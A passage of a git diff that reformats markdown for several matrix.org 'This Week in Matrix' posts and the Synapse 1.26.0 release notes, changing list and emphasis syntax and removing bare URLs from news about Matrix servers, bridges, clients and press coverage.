Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status @@ -90,8 +89,6 @@ This has been an labour of love for kitsune, kudos on his perseverance! > > As such, we'd instead like to direct people to the [Spec Core Team Backlog board](https://github.com/orgs/matrix-org/projects/31), which is a better representation of the current state of things. And of course the weekly list of MSCs state changes above. - - ![2021-01-22-VYFRA-stacked_area_chart.png](/blog/img/2021-01-22-VYFRA-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -156,7 +153,7 @@ Synapse is a popular homeserver written in Python. > The switch to acting as a mobile app I mentioned last week has been merged and it's starting to be clear that it works better. So far logging in has worked fine for everyone at least after enabling 2FA. > -> Changes this week mostly included tons of bugfixes (thanks to everyone who already updated and found the bugs) and re-adding some old features like read receipt bridging. The SQLite migration script now exists too. Upgrade instructions can be found at https://github.com/tulir/mautrix-facebook/wiki/Upgrading-to-v0.2.0 +> Changes this week mostly included tons of bugfixes (thanks to everyone who already updated and found the bugs) and re-adding some old features like read receipt bridging. The SQLite migration script now exists too. Upgrade instructions can be found at ## Dept of Clients 📱 @@ -172,23 +169,23 @@ Synapse is a popular homeserver written in Python. > > * Voice and Video Calls (contributed by trilene) > -> * Call your friends right from within Nheko. -> * Use your camera if you want them to see your face! +> * Call your friends right from within Nheko. +> * Use your camera if you want them to see your face! > -> * This requires a somewhat new gstreamer, so our builds don't support it on all platforms yet. +> * This requires a somewhat new gstreamer, so our builds don't support it on all platforms yet. > > * Cross-Signing and Device/User Verification (contributed by Chethan) > -> * Verify who you are talking to! -> * Ensure no malicious people eavesdrop on you! +> * Verify who you are talking to! +> * Ensure no malicious people eavesdrop on you! > -> * Enable your connected devices to access key backup and your friends to see, which of your devices you trust! -> * Show devices in a users profile. +> * Enable your connected devices to access key backup and your friends to see, which of your devices you trust! +> * Show devices in a users profile. > > * Separate profiles (contributed by lorendb) > -> * Run multiple Nheko instances with separate profiles side by side. -> * Use multiple accounts at the same time in separate windows. +> * Run multiple Nheko instances with separate profiles side by side. +> * Use multiple accounts at the same time in separate windows. > > #### Features > @@ -214,7 +211,7 @@ Synapse is a popular homeserver written in Python. > > * Support inline replies on notifications on Linux. > -> Packaging is currently in progress, but it will probably take a bit. In the mean time you can download the release from here: https://github.com/Nheko-Reborn/nheko/releases/tag/v0.8.0 +> Packaging is currently in progress, but it will probably take a bit. In the mean time you can download the release from here: > > Please tell us, what you think and report bugs as you find them! And thanks again to all the contributors! It was a great pleasure to work with you and you really made an impact! > @@ -222,7 +219,7 @@ Synapse is a popular homeserver written in Python. [Adrien](https://matrix.to/#/@glandos:matrix.org) added: -> https://tracker.debian.org/news/1222370/accepted-nheko-080-1-source-into-unstable/ +> > Nheko 0.8.0 was in Debian before TWIM. ❤️ for the packagers! @@ -235,8 +232,6 @@ Synapse is a popular homeserver written in Python. > fluffychat 0.25.0 is out with a lot of bug fixes, improvements, minor design tweaks and a new 3 column layout. iOS will skip this release until we can bring it to the AppStore next week or so - - ![2021-01-22-Ctpne-bildschirmfotovon2021-01-1620-52-22.png](/blog/img/2021-01-22-Ctpne-bildschirmfotovon2021-01-1620-52-22.png) ### Element for Nextcloud @@ -267,9 +262,9 @@ Updates supplied by the Teams #### Web -- Various widget related improvements -- Changed guest access to uniformly only allow read access for now -- Improved CI runtime when testing PRs +* Various widget related improvements +* Changed guest access to uniformly only allow read access for now +* Improved CI runtime when testing PRs #### iOS @@ -290,8 +285,6 @@ On the e2ee side, we have been working on an optimisation for the key re-share m > > Feel free to try it, report bugs, ask for missing features if you need them or even contribute! - - ### libkazv (and the Kazv Project) [tusooa](https://matrix.to/#/@tusooa:tusooa.xyz) reported: @@ -332,6 +325,7 @@ On the e2ee side, we have been working on an optimisation for the key re-share m > * Send-to-device messages > > * E2EE (send and receive events only) +> > #### What goes here? > > This week we ("tusooa and her longcat," we hope someday we can remove this annotation :P) @@ -352,11 +346,11 @@ On the e2ee side, we have been working on an optimisation for the key re-share m > > #### 0.20 Release > -> This week opsdroid released version 0.20. This is a *massive* release that's been a long time coming because of a __complete rewrite of the internals of the matrix connector to use [matrix-nio](https://github.com/poljar/matrix-nio)__---thanks to [@awesome-michael](https://github.com/awesome-michael) for the initial work on this. +> This week opsdroid released version 0.20. This is a *massive* release that's been a long time coming because of a **complete rewrite of the internals of the matrix connector to use [matrix-nio](https://github.com/poljar/matrix-nio)**---thanks to [@awesome-michael](https://github.com/awesome-michael) for the initial work on this. > -> Having ported the connector to nio, our GSOC student [@Tyagdit](https://matrix.to/#/@tyagdit:matrix.org) got to work polishing the nio port and reimplementing the __matrix database__ module in the core opsdroid library. Opsdroid has a concept of memory which is a key-value store which can be backed my many different kinds of [databases](https://docs.opsdroid.dev/en/stable/databases/). The [matrix database](https://docs.opsdroid.dev/en/stable/databases/matrix.html) stores the opsdroid memory in room state, meaning your bot's database and messages are all stored in the same place. +> Having ported the connector to nio, our GSOC student [@Tyagdit](https://matrix.to/#/@tyagdit:matrix.org) got to work polishing the nio port and reimplementing the **matrix database** module in the core opsdroid library. Opsdroid has a concept of memory which is a key-value store which can be backed my many different kinds of [databases](https://docs.opsdroid.dev/en/stable/databases/). The [matrix database](https://docs.opsdroid.dev/en/stable/databases/matrix.html) stores the opsdroid memory in room state, meaning your bot's database and messages are all stored in the same place. > -> Finally, the other big feature added to the matrix support in this release is __End to End Encryption__ support. Thanks to using matrix-nio as our matrix library it was possible to implement support for encrypted matrix rooms. This also includes support in the matrix database for encrypted memory which works by referencing event ids in room state ([see here](https://docs.opsdroid.dev/en/stable/databases/matrix.html#encryption) for more info). As this is the first release to support E2EE I would still consider it "beta"; please open issues if you have any trouble using it. +> Finally, the other big feature added to the matrix support in this release is **End to End Encryption** support. Thanks to using matrix-nio as our matrix library it was possible to implement support for encrypted matrix rooms. This also includes support in the matrix database for encrypted memory which works by referencing event ids in room state ([see here](https://docs.opsdroid.dev/en/stable/databases/matrix.html#encryption) for more info). As this is the first release to support E2EE I would still consider it "beta"; please open issues if you have any trouble using it. > > #### Highlights > @@ -372,8 +366,6 @@ On the e2ee side, we have been working on an optimisation for the key re-share m > > If you have any questions or want to get involved come say hi in [#opsdroid:matrix.org](https://matrix.to/#/#opsdroid:matrix.org), raise an issue on [GitHub](https://github.com/opsdroid/opsdroid) and checkout [the docs](https://docs.opsdroid.dev). - - ### trixnity (kotlin) progress [Benedict](https://matrix.to/#/@benedict:imbitbu.de) said: @@ -382,7 +374,6 @@ On the e2ee side, we have been working on an optimisation for the key re-share m ![trixnity](/blog/img/2021-01-22-trixnity.png) - ### quotient [kitsune](https://matrix.to/#/@kitsune:matrix.org) reported: @@ -435,7 +426,6 @@ Watch ["the interview" here](https://www.youtube.com/watch?v=xwsmdscTjJM), where > > * There's also a little demo/teaser video showing the old notepad talking to the new one. You can see the rate limiting issues that the Notepad hits there, which is on my todo list. - {{ youtube_player(video_id="ib6boyAgXUc") }} ## Dept of Guides 🧭 @@ -450,7 +440,7 @@ Watch ["the interview" here](https://www.youtube.com/watch?v=xwsmdscTjJM), where > > Also we mirroring the documentation to GitHub to provide access of our sources to everyone. > -> (https://github.com/matrix-tu-dresden-de/Dokumentation) +> () > > We would appreciate to add further institutions of higher education with own matrix instances to our list. > @@ -468,7 +458,7 @@ Watch Matrix Live (at the top) this week for a chat with Marvin and Christian. > I couldn't find if someone else shared this, but Fedora just published an article about deploying a Matrix server on Fedora CoreOS. > -> https://fedoramagazine.org/deploy-your-own-matrix-server-on-fedora-coreos/ +> ## Matrix in the News 📰 @@ -478,7 +468,7 @@ Watch Matrix Live (at the top) this week for a chat with Marvin and Christian. > EMS-Slack Bridge (matrix-appservice-slack) in German IT news > -> https://www.heise.de/news/Dezentraler-Firmenchat-mit-Slack-und-Matrix-5030856.html +> The launch was [also mentioned in The Register](https://www.theregister.com/2021/01/20/matrix_slack/), in the UK. I used to read the Register every day... @@ -486,13 +476,13 @@ The launch was [also mentioned in The Register](https://www.theregister.com/2021 Beeper has had substantial coverage on their launch, much of it focused especially on the iMessage bridging feature. Some articles are linked below: -- https://www.golem.de/news/beeper-universelle-chat-app-startet-betaversion-2101-153605.html -- https://www.heise.de/news/Beeper-Chat-App-will-15-Messenger-in-einem-Interface-vereinen-5032049.html -- https://hothardware.com/news/beeper-app-imessage-android-routing-trickery -- https://www.macrumors.com/2021/01/21/beeper-brings-imessage-to-android-and-windows/ -- https://9to5google.com/2021/01/21/beeper-app-pebble-founder-imessage-android/ -- https://www.theverge.com/2021/1/21/22242143/beeper-universal-chat-app-imessage-whatsapp-signal-telegram-pebble-founder -- https://www.protocol.com/beeper-messaging-app +* +* +* +* +* +* +* Lots of people helped collect these links in [#TWIM:matrix.org], thanks all! @@ -502,15 +492,11 @@ Lots of people helped collect these links in [#TWIM:matrix.org], thanks all! > today is the four year `m.anniversary` of the `@sorunome:sorunome.de` account! 🎉 - - Some interesting reads of the last few days: * [Twitter's Bluesky project released a whitepaper comparing various chat/social protocols](https://twitter.com/bluesky/status/1352302821140549632), rather a detached take but interesting to read * [Jay Graber (arcalinea) published a new post discussing decentralised moderation](https://jaygraber.medium.com/designing-decentralized-moderation-a76430a8eab), which is a serious question for Matrix - - [Cos](https://matrix.to/#/@cos:hacklab.fi) announced: > btw i forgot to TWIM that there was once again long Matrix article in Finnish computer culture paper magazine Skrolli. December issue. diff --git a/content/blog/2021/01/2021-01-28-synapse-1-26-0-released.md b/content/blog/2021/01/2021-01-28-synapse-1-26-0-released.md index aeef06125..233cb2787 100644 --- a/content/blog/2021/01/2021-01-28-synapse-1-26-0-released.md +++ b/content/blog/2021/01/2021-01-28-synapse-1-26-0-released.md @@ -9,19 +9,19 @@ category = ["Releases"] [Synapse 1.26.0](https://github.com/matrix-org/synapse/releases/tag/v1.26.0) is now available! -> __Note:__ This release includes a new database schema version. If you need to roll back to Synapse 1.25.0, you will also need to follow the associated [database downgrade instructions](https://github.com/matrix-org/synapse/blob/v1.26.0/UPGRADE.rst#upgrading-to-v1260). +> __Note:__ This release includes a new database schema version. If you need to roll back to Synapse 1.25.0, you will also need to follow the associated [database downgrade instructions](https://github.com/matrix-org/synapse/blob/v1.26.0/UPGRADE.rst#upgrading-to-v1260). In addition to a truckload of refactoring and general improvements, Synapse 1.26.0 includes three major new features: -1. A [brand new algorithm](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/auth_chain_difference_algorithm.md) for calculating the auth chain difference, which should dramatically improve worst case performance during state resolution ([#8622](https://github.com/matrix-org/synapse/issues/8622)). -2. Initial support for enabling [multiple OpenID Connect providers](https://github.com/matrix-org/synapse/pull/9110), paving the way for proper multi-provider social login workflows. -3. A significant speed-up to redaction performance in large rooms. +1. A [brand new algorithm](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/auth_chain_difference_algorithm.md) for calculating the auth chain difference, which should dramatically improve worst case performance during state resolution ([#8622](https://github.com/matrix-org/synapse/issues/8622)). +2. Initial support for enabling [multiple OpenID Connect providers](https://github.com/matrix-org/synapse/pull/9110), paving the way for proper multi-provider social login workflows. +3. A significant speed-up to redaction performance in large rooms. It also brings several improvements to Admin APIs: -- Specific media items can be [protected from quarantine](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/media_admin_api.md#protecting-media-from-being-quarantined). -- The `joined_rooms` API now [works for remote users](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#list-room-memberships-of-an-user). -- Deactivating a user can now [optionally remove their avatar URL and display name](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#deactivate-account). +- Specific media items can be [protected from quarantine](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/media_admin_api.md#protecting-media-from-being-quarantined). +- The `joined_rooms` API now [works for remote users](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#list-room-memberships-of-an-user). +- Deactivating a user can now [optionally remove their avatar URL and display name](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/admin_api/user_admin_api.rst#deactivate-account). We've also made it possible to offload several additional APIs to worker processes, including read receipts and account data persistence, further improving Synapse's scalability. diff --git a/content/blog/2021/01/2021-01-29-this-week-in-matrix-2021-01-29.md b/content/blog/2021/01/2021-01-29-this-week-in-matrix-2021-01-29.md index ea9f4183f..d9f99658b 100644 --- a/content/blog/2021/01/2021-01-29-this-week-in-matrix-2021-01-29.md +++ b/content/blog/2021/01/2021-01-29-this-week-in-matrix-2021-01-29.md @@ -18,7 +18,7 @@ image = "https://matrix.org/blog/img/2021-01-29-ml.png" [Christian Bruchatz](https://matrix.to/#/@s8108530:tu-dresden.de) created this map of currently live Matrix instances at German-ish universities! -> The map is growing... after being published, more and more universities signal they also use Matrix... https://doc.matrix.tu-dresden.de/images/federation_map.svg within https://doc.matrix.tu-dresden.de/en/why/ +> The map is growing... after being published, more and more universities signal they also use Matrix... within ![2021-01-29-YevH--image.png](/blog/img/2021-01-29-YevH--image.png) @@ -28,13 +28,13 @@ image = "https://matrix.org/blog/img/2021-01-29-ml.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) reported: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > > **MSCs in Final Comment Period:** > @@ -42,14 +42,12 @@ image = "https://matrix.org/blog/img/2021-01-29-ml.png" > > **New MSCs:** > -> * _There were no new MSCs this week._ +> * *There were no new MSCs this week.* > > #### Spec Core Team > > As announced last week, we're now using the [Spec Core Team Backlog](https://github.com/orgs/matrix-org/projects/31) board to communicate progress. Check it out if you haven't seen it yet, and ask questions in [#matrix-spec:matrix.org](https://matrix.to/#/#matrix-spec:matrix.org) if you have any 🙂 - - ![2021-01-29-QpAp6-stacked_area_chart.png](/blog/img/2021-01-29-QpAp6-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -62,7 +60,7 @@ Synapse is a popular homeserver written in Python. > One week 'til [FOSDEM](https://fosdem.org/2021/)! > -> In addition to [several](https://fosdem.org/2021/schedule/event/matrix_communities/) [talks](https://fosdem.org/2021/schedule/event/matrix/) [specifically](https://fosdem.org/2021/schedule/event/products_vs_protocols/) [about](https://fosdem.org/2021/schedule/event/matrix_gitter/) Matrix, Synapse's own Brendan Abolivier will be speaking in the Community devroom on [_Mental health and free software: What I wish I’d been told before I got into free software, and more_](https://fosdem.org/2021/schedule/event/community_devroom_mental_health_free_software/). Check it out! +> In addition to [several](https://fosdem.org/2021/schedule/event/matrix_communities/) [talks](https://fosdem.org/2021/schedule/event/matrix/) [specifically](https://fosdem.org/2021/schedule/event/products_vs_protocols/) [about](https://fosdem.org/2021/schedule/event/matrix_gitter/) Matrix, Synapse's own Brendan Abolivier will be speaking in the Community devroom on [*Mental health and free software: What I wish I’d been told before I got into free software, and more*](https://fosdem.org/2021/schedule/event/community_devroom_mental_health_free_software/). Check it out! > > We're also excited to [announce Synapse 1.26.0's release](https://matrix.org/blog/2021/01/28/synapse-1-26-0-released)! As mentioned last week, the two biggest new features are a [faster algorithm](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/auth_chain_difference_algorithm.md) for state resolution and initial support for enabling [multiple OpenID Connect providers](https://github.com/matrix-org/synapse/pull/9110). Additionally, we've sped up redaction in large rooms and made it possible to run more APIs on workers. See the [full changelog](https://github.com/matrix-org/synapse/blob/v1.26.0/CHANGES.md) for details. > @@ -106,7 +104,7 @@ If only you knew what else this guy was working on. More to be shared soon-ish. [krille](https://matrix.to/#/@krille:janian.de) said: -> FluffyChat 0.26.1 has been released today with updated translations, support for Unified Push (https://github.com/UnifiedPush/) and some bug fixes. The Linux Desktop version is fully functional again and the app is much more stable than ever now. We are working hard to bring FluffyChat to the official iOS AppStore next week! :-) +> FluffyChat 0.26.1 has been released today with updated translations, support for Unified Push () and some bug fixes. The Linux Desktop version is fully functional again and the app is much more stable than ever now. We are working hard to bring FluffyChat to the official iOS AppStore next week! :-) I reinstalled Fluffychat this week as I attempted to support some less-technically-minded friends, and was VERY impressed. If you've tried FluffyChat in the past but missed recent versions I suggest you have another go. @@ -203,44 +201,44 @@ Then, later... > **Delight** > -> * Social Login -> * Final polishing and bug hunting across all platforms. We are targeting 5 options to begin with (Gitlab, Github, Facebook, Google and Apple) and will hopefully be ready to start setting these up on homeservers next week. +> * Social Login +> * Final polishing and bug hunting across all platforms. We are targeting 5 options to begin with (Gitlab, Github, Facebook, Google and Apple) and will hopefully be ready to start setting these up on homeservers next week. > -> * Spaces +> * Spaces > -> * Lots of polishing on Element web, you can get all the latest in the matrix live demo session next week! +> * Lots of polishing on Element web, you can get all the latest in the matrix live demo session next week! > > **VoIP** > -> * Added some debugging to web to help debug call connectivity failures -> * Fixed a compatibility regression in web with voip v0 clients (ie. element android / ios) - d’oh! +> * Added some debugging to web to help debug call connectivity failures +> * Fixed a compatibility regression in web with voip v0 clients (ie. element android / ios) - d’oh! > -> * Android: work on getting call audio routing correct on various different devices -> * Design coming up to speed to support on implementation and ongoing UI improvements +> * Android: work on getting call audio routing correct on various different devices +> * Design coming up to speed to support on implementation and ongoing UI improvements > -> * iOS on holiday +> * iOS on holiday > > **Web** > -> * Off cycle 1.7.18 release for VoIP compat bug -> * Various tweaks to prepare for FOSDEM +> * Off cycle 1.7.18 release for VoIP compat bug +> * Various tweaks to prepare for FOSDEM > -> * Element Web 1.7.19-rc.1 is now available at https://staging.element.io, including: -> * Allowed guest users to see widgets +> * Element Web 1.7.19-rc.1 is now available at , including: +> * Allowed guest users to see widgets > -> * Standardised security terminology to reduce confusion -> * Added ability to pin widgets for everyone in the room +> * Standardised security terminology to reduce confusion +> * Added ability to pin widgets for everyone in the room > > **iOS** > -> * We made several iterations since the last App Store release (1.1.3) but Element-iOS [1.1.6](https://github.com/vector-im/element-ios/releases) is now in the store. -> * We made some improvements to use less RAM in the background sync module that manages push notifications. +> * We made several iterations since the last App Store release (1.1.3) but Element-iOS [1.1.6](https://github.com/vector-im/element-ios/releases) is now in the store. +> * We made some improvements to use less RAM in the background sync module that manages push notifications. > -> * We continued to improve performance in E2EE to speed up message sending using pre-sharing keys and re-sharing keys methods. Element-iOS now automatically rejects share requests from not verified devices. It does not send anymore such requests if it is not verified. +> * We continued to improve performance in E2EE to speed up message sending using pre-sharing keys and re-sharing keys methods. Element-iOS now automatically rejects share requests from not verified devices. It does not send anymore such requests if it is not verified. > > **Android** > -> * We are working on improving the initial /sync management. The first objective is to reduce RAM usage. Then, we will improve the time to display the room list. +> * We are working on improving the initial /sync management. The first objective is to reduce RAM usage. Then, we will improve the time to display the room list. ## Dept of SDKs and Frameworks 🧰 @@ -275,7 +273,7 @@ Then, later... > Just a small dev update on things that currently happen over at the Serverlist project "Keymaker" and its companion bot. > -> Follow it in detail at [#serverlist:nordgedanken.dev](https://matrix.to/#/#serverlist:nordgedanken.dev) or https://github.com/keymaker-mx/ +> Follow it in detail at [#serverlist:nordgedanken.dev](https://matrix.to/#/#serverlist:nordgedanken.dev) or > > * The registration bot finally is starting to get its admin backend -> The registration probably happens in a few weeks from now > @@ -291,13 +289,13 @@ Beeper has continued to make headlines, and is now being reported around the wor [Andy](https://matrix.to/#/@andycuccaro:matrix.org) announced: > Beeper was mentioned in one of the two biggest argentinian newspapers! 😮🙌 -> https://www.lanacion.com.ar/tecnologia/todo-en-uno-este-es-beeper-el-chat-universal-que-promete-usar-whatsapp-signal-y-telegram-en-un-solo-nid22012021/ +> There was a pause, as we wondered how the other biggest Argentinian newspaper would react, and it was worth the wait! Andy soon announced: -> And now the other biggest newspaper of Argentina wrote an article about Beeper (Matrix is mentioned about half-through the article)! +> And now the other biggest newspaper of Argentina wrote an article about Beeper (Matrix is mentioned about half-through the article)! > -> https://www.clarin.com/tecnologia/beeper-app-mensajeria-unifica-chats-whatsapp-telegram-signal-instagram_0_1bX5iXnxw.html +> Anything that goes in Argentina is sure to make waves in Poland, and so it was that Polish media picked up on the story. @@ -305,7 +303,7 @@ Anything that goes in Argentina is sure to make waves in Poland, and so it was t > Beeper has made it to Polish media too, guys :P > -> https://spidersweb.pl/2021/01/beeper-imessage-na-androidzie.html +> > > The title: "A new multi-messaging platform has arrived. It's creators will send you an old iPhone so you can even use iMessage" diff --git a/content/blog/2021/02/2021-02-05-this-week-in-matrix-2021-02-05.md b/content/blog/2021/02/2021-02-05-this-week-in-matrix-2021-02-05.md index a0e0e2468..d201f1714 100644 --- a/content/blog/2021/02/2021-02-05-this-week-in-matrix-2021-02-05.md +++ b/content/blog/2021/02/2021-02-05-this-week-in-matrix-2021-02-05.md @@ -24,13 +24,13 @@ FOSDEM is happening this year, regardless of pandemics or anything else! Actuall Matrix have several relevant talks happening: -- [Adding Matrix for interoperability to existing chat apps](https://fosdem.org/2021/schedule/event/matrix_gitter/) _Saturday @ 10:25_ (this is about Gitter bridging/integration) -- [Pinecones and Dendrites - P2P Matrix Progress](https://fosdem.org/2021/schedule/event/matrix_pinecones/) _Saturday @ 11:30_ (this is about P2P) -- [Building massive virtual communities in Matrix](https://fosdem.org/2021/schedule/event/matrix_communities/) _Sunday @ 12:00_ (this is about Spaces) +- [Adding Matrix for interoperability to existing chat apps](https://fosdem.org/2021/schedule/event/matrix_gitter/) *Saturday @ 10:25* (this is about Gitter bridging/integration) +- [Pinecones and Dendrites - P2P Matrix Progress](https://fosdem.org/2021/schedule/event/matrix_pinecones/) *Saturday @ 11:30* (this is about P2P) +- [Building massive virtual communities in Matrix](https://fosdem.org/2021/schedule/event/matrix_communities/) *Sunday @ 12:00* (this is about Spaces) Plus, there is a bonus talk from Brendan: -- [Mental health and free software](https://fosdem.org/2021/schedule/event/community_devroom_mental_health_free_software/) _Sunday @ 13:50_ (in which Brendan talks about mental health issues in the context of working on free software, which may or may not relate to people, though certainly not me, pinging him at all hours to ask about customer integrations and features) +- [Mental health and free software](https://fosdem.org/2021/schedule/event/community_devroom_mental_health_free_software/) *Sunday @ 13:50* (in which Brendan talks about mental health issues in the context of working on free software, which may or may not relate to people, though certainly not me, pinging him at all hours to ask about customer integrations and features) Plus, perhaps the most important part of FOSDEM: **[FOSDEM 2021 Matrix T-Shirt (Limited Edition)](https://shop.matrix.org/product/fosdem-2021-matrix-t-shirt-limited-edition) is now available** @@ -42,29 +42,27 @@ Plus, perhaps the most important part of FOSDEM: **[FOSDEM 2021 Matrix T-Shirt ( [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announced: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status > > **Merged MSCs:** > -> * [MSC2366: Key verification flow additions: m.key.verification.ready and m.key.verification.done](https://github.com/matrix-org/matrix-doc/pull/2366) +> - [MSC2366: Key verification flow additions: m.key.verification.ready and m.key.verification.done](https://github.com/matrix-org/matrix-doc/pull/2366) > > **MSCs in Final Comment Period:** > -> * *No MSCs are in FCP.* +> - *No MSCs are in FCP.* > > **New MSCs:** > -> * *There were no new MSCs this week.* +> - *There were no new MSCs this week.* > > #### Spec Core Team > > The Spec Core Team was focused on implementation and FOSDEM this week. Next week we'll be back getting through the [backlog board](https://github.com/orgs/matrix-org/projects/31). - - ![2021-02-05-gpxy6-stacked_area_chart.png](/blog/img/2021-02-05-gpxy6-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -77,7 +75,7 @@ Plus, perhaps the most important part of FOSDEM: **[FOSDEM 2021 Matrix T-Shirt ( ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) told us: @@ -85,10 +83,10 @@ Conduit is a Matrix homeserver written in Rust https://conduit.rs > > Meanwhile I worked on: > -> * Push rule settings, making it finally possible to mute rooms +> - Push rule settings, making it finally possible to mute rooms > -> * Appservice compatibility, I'm currently trying to get the mautrix-hangouts bridge to work -> * Optimizations, incremental sync in big rooms (rooms with >3k members) went from 1.3s to 13 ms, (100x improvement) +> - Appservice compatibility, I'm currently trying to get the mautrix-hangouts bridge to work +> - Optimizations, incremental sync in big rooms (rooms with >3k members) went from 1.3s to 13 ms, (100x improvement) > > Thanks to Famedly and everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! @@ -104,9 +102,9 @@ Synapse is a popular homeserver written in Python. > > Otherwise, we're quite excited to get 1.27 out the door, as it: > -> * Solves an issue ([#9172](https://github.com/matrix-org/synapse/issues/9172)) where federation senders could take many minutes to catch up after restarts. +> - Solves an issue ([#9172](https://github.com/matrix-org/synapse/issues/9172)) where federation senders could take many minutes to catch up after restarts. > -> * Contains countless improvements to our support for social login methods, many of which will be live for FOSDEM users this weekend. +> - Contains countless improvements to our support for social login methods, many of which will be live for FOSDEM users this weekend. > > We've also included the usual host of bug fixes and Admin API additions, but more on those when the actual release happens. You can preview the release notes [on GitHub](https://github.com/matrix-org/synapse/releases/tag/v1.27.0rc1). > @@ -120,9 +118,7 @@ Synapse is a popular homeserver written in Python. > My iMessage bridge is starting to be usable now. Text and files work in both directions and tapbacks and replies work iMessage->Matrix. Currently it only supports running on a Mac, the iOS option will come later. The bridge doesn't require opening ports to the Mac, it uses a simple proxy that turns the usual HTTP appservice transactions into a websocket instead. > -> The bridge itself can be found at https://github.com/tulir/mautrix-imessage and the websocket proxy is at https://github.com/tulir/mautrix-wsproxy. The Matrix room is [#imessage:maunium.net](https://matrix.to/#/#imessage:maunium.net) - - +> The bridge itself can be found at and the websocket proxy is at . The Matrix room is [#imessage:maunium.net](https://matrix.to/#/#imessage:maunium.net) ### mautrix-signal @@ -130,16 +126,16 @@ Synapse is a popular homeserver written in Python. > I made the first release for mautrix-signal. No particular reason, but it's v0.1.0 now. Recent changes include: > -> * Better profile syncing (Signal profile names should sync when restarting) +> - Better profile syncing (Signal profile names should sync when restarting) > -> * Support for Signal profile avatars -> * Support for bridging stickers from Signal +> - Support for Signal profile avatars +> - Support for bridging stickers from Signal ### Gitter [Eric Eastwood](https://matrix.to/#/@madlittlemods:matrix.org) said: -> [FOSDEM](https://fosdem.org/2021/) is happening this weekend! Come see [our FOSDEM talk](https://fosdem.org/2021/schedule/event/matrix_gitter/) in the Real Time Communications track on Saturday around how we made Gitter speak Matrix and how you can add Matrix support to your own app: https://fosdem.org/2021/schedule/event/matrix_gitter/ +> [FOSDEM](https://fosdem.org/2021/) is happening this weekend! Come see [our FOSDEM talk](https://fosdem.org/2021/schedule/event/matrix_gitter/) in the Real Time Communications track on Saturday around how we made Gitter speak Matrix and how you can add Matrix support to your own app: > > *-- > @@ -155,9 +151,7 @@ Synapse is a popular homeserver written in Python. > Another release! Wow. We're also testing 0.24.0-rc1 which has quite a few big ticket items this week. Off the top of the list is a new command to `!plumb` rooms dynamically in admin rooms, provided you have permissions in the bridge (happy days self hosters!). We've also added the feature to warn if your messages don't get through in your admin room. Finally, there are a bunch of small bug fixes and one large one that should make the bridge **much** more resistant to netsplits, so that it should recover in a much safer way should it get hit by a ton of traffic. Please test, and if all goes well the formal release will be out next week! > -> https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.24.0-rc1 - - +> ### matrix-appservice-slack hits 1.7.0-rc1 @@ -165,7 +159,7 @@ Synapse is a popular homeserver written in Python. > Happy friday bridge users! Today we're releasing 1.7.0-rc1 of the Slack bridge which contains some more critical encryption fixes for our experimental encrypted rooms support. We've also fixed a few serious bugs where DMs would not be persisted to the database in some cases. Please test, and let us know how you get on! > -> https://github.com/matrix-org/matrix-appservice-slack/releases/tag/1.7.0-rc1 +> ## Dept of Clients 📱 @@ -177,7 +171,7 @@ Synapse is a popular homeserver written in Python. > FluffyChat has been approved for the iOS AppStore! Thanks to benpa and matrix.org for the help with this! You guys are awesome! > -> https://apps.apple.com/de/app/fluffychat/id1551469600​ +> ### Fluffychat F-Droid @@ -185,13 +179,13 @@ Synapse is a popular homeserver written in Python. [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) told us: -> Fluffychat Fdroid now also has a nightly repository: https://fluffychat.im/en/fdroid.html +> Fluffychat Fdroid now also has a nightly repository: > > It gets a new update on each commit, offers fast access to new features, but at the same time is less stable than the normal fdroid repository. > -> Check it out at: https://fluffychat.im/en/fdroid.html +> Check it out at: > -> In case of issues open a issue at: https://gitlab.com/famedly/fluffychat/-/issues +> In case of issues open a issue at: > To directly try it use: as a direct way of adding the repo if you have fdroid already installed ### Syphon updated @@ -210,37 +204,37 @@ Synapse is a popular homeserver written in Python. > > New Features: > -> * SSO Login & Signup +> - SSO Login & Signup > -> * Reactions / Emoji Support 🎉 -> * View Edited Messages (Condensed) +> - Reactions / Emoji Support 🎉 +> - View Edited Messages (Condensed) > -> * Swipe To Reply -> * Cross Server Room/Topic Search +> - Swipe To Reply +> - Cross Server Room/Topic Search > -> * Forgot / Reset Password Flow +> - Forgot / Reset Password Flow > > Performance > -> * More caching and cold storage saving/loading improvements +> - More caching and cold storage saving/loading improvements > -> * Parsing all matrix data from separate threads +> - Parsing all matrix data from separate threads > > Bug Fixes > -> * fixed e2ee decryption issue - cache related +> - fixed e2ee decryption issue - cache related > -> * fixed read receipt bugs -> * fixed various caching performance issues +> - fixed read receipt bugs +> - fixed various caching performance issues > -> * fixed failed syncing on most self-hosted homeservers -> * fixed settings permanence issues +> - fixed failed syncing on most self-hosted homeservers +> - fixed settings permanence issues > -> * fixed new direct chat with invalid user_ids +> - fixed new 